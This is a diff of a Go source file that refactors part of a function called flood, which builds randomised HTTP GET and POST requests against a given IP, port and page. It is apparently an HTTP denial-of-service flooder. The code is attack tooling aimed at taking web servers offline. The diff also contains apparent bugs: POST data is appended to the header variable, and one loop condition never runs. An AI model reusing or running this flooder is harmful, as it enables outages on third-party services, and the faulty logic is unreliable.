@@ -130,38 +130,42 @@ func flood(ip, port, page, mode string) {
130
130
header += acceptall [rand .Intn (len (acceptall ))]
131
131
header += referers [rand .Intn (len (referers ))] + "\r \n "
132
132
} else {
133
- fi , err := os .Open (os .Args [7 ])
134
- if err != nil {
135
- fmt .Printf ("Error: %s\n " , err )
136
- return
137
- }
138
- defer fi .Close ()
139
- br := bufio .NewReader (fi )
140
- for {
141
- a , _ , c := br .ReadLine ()
142
- if c == io .EOF {
143
- break
133
+ func () {
134
+ fi , err := os .Open (os .Args [7 ])
135
+ if err != nil {
136
+ fmt .Printf ("Error: %s\n " , err )
137
+ return
144
138
}
145
- header += string (a ) + "\r \n "
146
- }
139
+ defer fi .Close ()
140
+ br := bufio .NewReader (fi )
141
+ for {
142
+ a , _ , c := br .ReadLine ()
143
+ if c == io .EOF {
144
+ break
145
+ }
146
+ header += string (a ) + "\r \n "
147
+ }
148
+ }()
147
149
}
148
150
} else if mode == "post" {
149
151
data := ""
150
152
if os .Args [7 ] != "nil" {
151
- fi , err := os .Open (os .Args [7 ])
152
- if err != nil {
153
- fmt .Printf ("Error: %s\n " , err )
154
- return
155
- }
156
- defer fi .Close ()
157
- br := bufio .NewReader (fi )
158
- for {
159
- a , _ , c := br .ReadLine ()
160
- if c == io .EOF {
161
- break
153
+ func () {
154
+ fi , err := os .Open (os .Args [7 ])
155
+ if err != nil {
156
+ fmt .Printf ("Error: %s\n " , err )
157
+ return
162
158
}
163
- data += string (a ) + "\r \n "
164
- }
159
+ defer fi .Close ()
160
+ br := bufio .NewReader (fi )
161
+ for {
162
+ a , _ , c := br .ReadLine ()
163
+ if c == io .EOF {
164
+ break
165
+ }
166
+ header += string (a ) + "\r \n "
167
+ }
168
+ }()
165
169
166
170
} else {
167
171
for x := 0 ; x > 100 ; x ++ {
0 commit comments